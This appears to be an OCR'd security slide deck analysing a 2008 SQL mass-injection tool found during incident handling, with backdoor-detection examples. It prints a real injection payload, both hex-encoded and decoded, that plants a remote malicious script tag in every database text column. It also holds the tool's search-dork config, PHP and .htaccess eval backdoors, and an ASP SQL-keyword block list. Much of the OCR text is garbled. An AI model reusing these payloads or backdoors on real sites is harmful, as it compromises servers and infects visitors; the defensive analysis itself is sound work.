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Sort by Vulnerability Type
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it Mass Injection Tool Revealed

m How did DBAPPSecurity Sec Team find it?

» From a Bot Machine during Incident Handling
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Real case in incident handling!

B 2008-05-13 00:28:25 W3SVC628249937 22.1.1.11 POST /news_default.as
t|d=117;DECLARE%20@S%20NVARCHAR64000 ;SET%ZO%@SZCAST 0x4400450043004C0041005
200450020004000540020007600610072006300680061007200280032003500350029002C004000
4300200076006100720063006800610072002800320035003500290020004400450043004C00410
05200450020005400610062006C0065005F0043007500720073006F007200200043005500520053
004F005200200046004F0052002000730065006C00650063007400200061002E006E0061006D006
5002C0062002E006E0061006D0065002000660072006F006D0020007300790073006F0062006A0
06500630074007300200061002C0073007900730063006F006C0075006D006EN073002000620020
0077006800650072006500200061002E00690064003D0062002E0069006400200061006E0064002
00061002E00780074007900700065003D00270075002700200061006E0064002000280062002E00
780074007900700065003D003900390020006F007200200062002E00780074007900700065003D0
03300350020006F007200200062002E00780074007900700065003D0032003300310020006F0072
00200062002E00780074007900700065003D00310036003700290020004F00500045004E0020005
400610062006C0065005F0043007500720073006F00720020004600450054004300480020004E00
4500580054002000460052004F004D00200020005400610062006C0065005F00430075007200730
06F007200200049004E0054004F002000400054002C004000430020005700480049004C00450028
0040004000460045005400430048005F005300540041005400550053003D0030002900200042004
500470049004E00200065007800650063002800270075007000640061007400650020005B002700
2B00400054002B0027005D00200073006500740020005B0027002B00400043002B0027005D003D
0072007400720069006D00280063006F006E0076006500720074002800760061007200630068006
10072002C005B0027002B00400043002B0027005D00290029002B00270027003C0073006300720
069007000740020007300720063003D0068007400740070003A002F002F007700770077002E006B
0069006C006C0077006F00770031002E0063006E002F0067002E006A0073003E003CO02F0073006
30072006900700074003E0027002700270029004600450054004300480020004E00450058005400
2000460052004F004D00200020005400610062006C0065005F0043007500720073006F007200200
049004E0054004F002000400054002C0040004300200045004E004400200043004C004F00530045
0020005400610062006C0065005F0043007500720073006F00720020004400450041004C004C004
F00430041005400450020005400610062006C0065005F0043007500720073006F007200%20AS%
%8(!\)|\6A(I)?CHAR(4000));EXEC(@S);—— 80 - 204.13.70.223 Mozilla/3.0+(compatible;+Indy+Library)
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Real content...

B DECLARE @T varchar(255),@C varchar(255) DECLARE
Table_Cursor CURSOR FOR select a.name,b.name from
sysobjects a,syscolumns b where a.id=b.id and
a.xtype="u' and (b.xtype=99 or b.xtype=35 or
b.xtype=231 or b.xtype=167) OPEN Table Cursor FETCH
NEXT FROM Table Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0) BEGIN exec(‘'update
[[+@T+'] set
['+@C+']=rtrim(convert(varchar,['+@C+']))+"<script
src=http://www.killwow1l.cn/g.js></script>"")FETCH
NEXT FROM Table Cursor INTO @T,@C END CLOSE
Table Cursor DEALLOCATE Table Cursor
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Key part:

W <script
src=http://www.killwow1.cn/g.js></script>




7 X & Mass Injection Revealed
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B X & Mass Injection Revealed
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Mass Injection Tool -- Config.ini

[init]
edkey=inurl:(.aspx? -(gov)) { B&I=4}
ranklimit=1000000
cipin=50
timeout=20
process=1

retry=3

thread=88
bufferlength=10
cpu=115
sellang=0
scanmode=0
chkbox1=1
chkbox2=0
chkbox3=1
chkbox4=0
chkbox5=1
chkbox6=0
chkbufferlength=1
chkranklimit=0

IgnoreUrl=163.com#$D#$Ablogchina.com#$D#$Abokee.com#SDH#$Adedewang.com#SDHSA %o
V.CcN#$D#SANC360.com#IDAHIAhexun.com#IDAHBAKIji [Sl .Cn#$DHFAlive.com#SDHPAQqQ.com#$
ﬁ$Asma.com#$D#$Asohu.com#$D#$Ataobao .com#$D#$Ayahoo. com#$D#$Ayesky com#$D#$

B IgnoreKey=Not Found#$D#$A K #E#SDHSA I N FEEH#SDHSA
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WEB App Vulnerability Scanner Challenge

B Backdoor detection
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B Basename()

m Include()
mEval()

m Preg_replace()




Basename()

<?php
$fp = fopen(“'c:/test.php”, "w™);

fwrite($fp,
basename($ SERVER['QUERY_STRING']));

fclose($fp);
//http://127.0.0.1/Basename.php?<?phpinfo();?>

7>




Include()

<?php

$a=$ GET['X'];

@include $x;
//nttp://127.0.0.1/Include.php?x=1.txt
7>




—. B B S

m php.ini
B .htaccess
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{zephp.ini

; Automatically add files before or after any PHP document.
auto_prepend_file =
auto_append file =

; UNIX: "/pathl:/path2"
;include_path = ".:/php/includes”

; Windows: "\pathl;\path2"
;include_path = ".;c:\php\includes"
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&k .htaccess 4

.htaccess

#<?php eval($_POST['cmd']);?>
php value auto prepend_file ".htaccess"
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Basic Scanner framework
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T
}

M E B 28 T B — Al hs

<%

Dim Query Badword,Form Badword,i.Ervr_Message ,Ery_Web,name

foemeen TE SRR 2k

Err_HMessage = 1 I =ESRFE 2-E AT E - RIETFTEE A
Err_Web = "Err.Asp" CHEERTE R E

Query_Badword=""/" and/# select/ update ' chr/ delete  %20from 4 ; / insert/ mid/ master. /' set 4 chr(37)4

B R M gerdRiE B R A v 2 (A%
Form_Badword="'/ %/ &/ =4 #4 (4 )/ =" AR BB BT S postdRIE S AE A 4 2 (BB
N EE R

on Error Resume Hext

Wt mst aneme 48 BT
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Thank you!

Frank.Fan@dbAppSecurity.com.cn
Skype: hifanfan88
MSN: hifanfan@hotmail.com

www.dbAPPSecurity.com.cn
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